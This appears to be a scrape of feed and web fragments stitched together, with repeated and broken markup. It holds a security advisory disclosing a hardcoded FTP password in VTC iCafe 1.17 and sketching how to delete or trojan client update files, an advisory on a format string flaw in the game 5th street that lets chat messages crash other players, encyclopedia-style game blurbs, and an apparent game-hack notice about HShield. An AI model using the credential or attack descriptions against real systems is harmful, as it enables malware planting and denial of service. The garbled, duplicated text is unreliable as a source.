		<description><![CDATA[<p><strong>Title</strong>:    Insecure default FTP password in VTC iCafe<br />
<strong>Severity</strong>:    Critical<br />
<strong>Reporter</strong>:    Blue Moon Consulting<br />
<strong>Products</strong>:    VTC iCafe 1.17<br />
<strong>Fixed in</strong>:    &#8211;</p>
<p><span style="text-decoration: underline;">Description</span></p>
<p>VTC iCafe is an internet cafe management application. It uses a hardcoded insecure default FTP password VTCIntecom / VTCIntecom. The FTP server listens on port 6655 and distributes update files to the clients. A malicious user could use this knowledge to a) cause a denial of services on the clients by removing the FTP root directory, or b) place malwares such as virus, trojan on the client by replacing the update files.</p>
<p><span style="text-decoration: underline;">Workaround</span></p>
<p>There is no workaround.</p>
<p><span style="text-decoration: underline;">Fix</span></p>
<p>There is no fix at the moment. Customers are advised to contact the vendor for a proper fix.</p>

<p><strong>Silkroad Online</strong> (also known as SRO Korean: 실크로드 온라인) is a free massively-multiplayer online role-playing game (MMORPG) created by the South Korean company Joymax, and was released for open beta testing on November 11, 2005. Much of the background of the game is based on the historical Silk Road. Unique from other MMORPGs, the game is centered on a triangular system of trading goods.</p>
<p>Silkroad Online is based on the history of trading in China along the Silk Road, a historical network of trade routes in Asia. The game attempts to reproduce the Silk Road in a much smaller scale, looking realistic and at the same time incorporating fantasy elements such as the use of special magical skills and abilities. One of the game&#8217;s most noted features is allowing players to choose three different job roles after their character achieves level 20.</p>
<p>The game currently has a level cap of 100 in the Korean version/Chinese version/Japanese versions, 90 in the Vietnamese version/International version.</p>
<p>The Korean, Chinese, and International version of Silkroad Online have released both the Chinese and European races and classes with a large map that includes both Asian and central European locations, such as Constantinople and Hotan. Different races also have access to different character abilities. On July 24, 2007, Joymax released an expansion of the game entitled &#8220;Silkroad Online Legends I, Europe.&#8221; The expanded game includes European architecture, characters, clothing, and whole new abilities for European in game race to use.</p>

<p>Affected: members - games - help</p>
<p>&#8211; What is Audition &#8211;</p>
<p>Audition Online (Korean: 오디션 온라인), also known as Dancin&#8217; Paradise in Japan, is a downloadable multiplayer online casual rhythm game produced by T3 Entertainment. It was originally released in South Korea in 2005, but it has been localized by various publishers around the world including North America which is marketed by Nexon Corporation. Audition Online is free to play but it earns its revenue by selling virtual items such as clothes for the player&#8217;s avatar.</p>
<p>Audition&#8217;s popularity began in South Korean and Global versions of the game. As popularity increased, more and more users signed up for the South Korean and Global servers. Due to hacking in the Global server, Bugs Corporation discontinued the server and most of the users migrated over to the South Korean servers. As more users joined the South Korean servers, T3 Entertainment and Yedang Online began localizing the game in other regions including China, Hong Kong, Indonesia, Japan, Philippines, North America, Thailand, Taiwan, South East Asia, Vietnam (Local publishers VTC - Game Online), Brazil, United Kingdom, and Remaining European Countries. In the Asian servers, the popularity of Audition has increased rapidly with millions of users on every localized region.</p>

<p>5th street is a massively multiplayer online dance game produced by Snail Game and distributed in countries such as Malaysia, Singapore and Vietnam under different names High Street 5, Hot Step.</p>
<p>5th street contains a format string vulnerability in its <tt class="docutils literal"><span class="pre">dx8render.dll</span></tt> module. Before a chat message is rendered in a balloon, this message is used as a format string in a call to <tt class="docutils literal"><span class="pre">vsnwprintf</span></tt> function.</p>
<p>This vulnerability allows an attacker to remotely and instantly crash other players&#8217; clients. If carefully exploited, this will also lead to arbitrary code execution on the target machine.</p>

<h1><a id="description" name="description">Description</a></h1>
<p>5th street is a massively multiplayer online dance game produced by Snail Game and distributed in countries such as Malaysia, Singapore and Vietnam under different names High Street 5, Hot Step.</p>
<p>5th street contains a format string vulnerability in its <tt class="docutils literal"><span class="pre">dx8render.dll</span></tt> module. Before a chat message is rendered in a balloon, this message is used as a format string in a call to <tt class="docutils literal"><span class="pre">vsnwprintf</span></tt> function.</p>
<p>This vulnerability allows an attacker to remotely and instantly crash other players&#8217; clients. If carefully exploited, this will also lead to arbitrary code execution on the target machine.</p>

<div class="section">

<p>There is no workaround.</p>

		<description><![CDATA[<p>AUVN has announced they will update to 4046 on 14/07/2008. They will update HShield, so we would take more times to do. Please update your game and wait for next notice.</p>
<p>Here is announcement:</p>

<p>&#8211; What is Audition &#8211;</p>
<p>Audition Online (Korean: 오디션 온라인), also known as Dancin&#8217; Paradise in Japan, is a downloadable multiplayer online casual rhythm game produced by T3 Entertainment. It was originally released in South Korea in 2005, but it has been localized by various publishers around the world including North America which is marketed by Nexon Corporation. Audition Online is free to play but it earns its revenue by selling virtual items such as clothes for the player&#8217;s avatar.</p>
<p>Audition&#8217;s popularity began in South Korean and Global versions of the game. As popularity increased, more and more users signed up for the South Korean and Global servers. Due to hacking in the Global server, Bugs Corporation discontinued the server and most of the users migrated over to the South Korean servers. As more users joined the South Korean servers, T3 Entertainment and Yedang Online began localizing the game in other regions including China, Hong Kong, Indonesia, Japan, Philippines, North America, Thailand, Taiwan, South East Asia, Vietnam (Local publishers VTC - Game Online), Brazil, United Kingdom, and Remaining European Countries. In the Asian servers, the popularity of Audition has increased rapidly with millions of users on every localized region.</p>
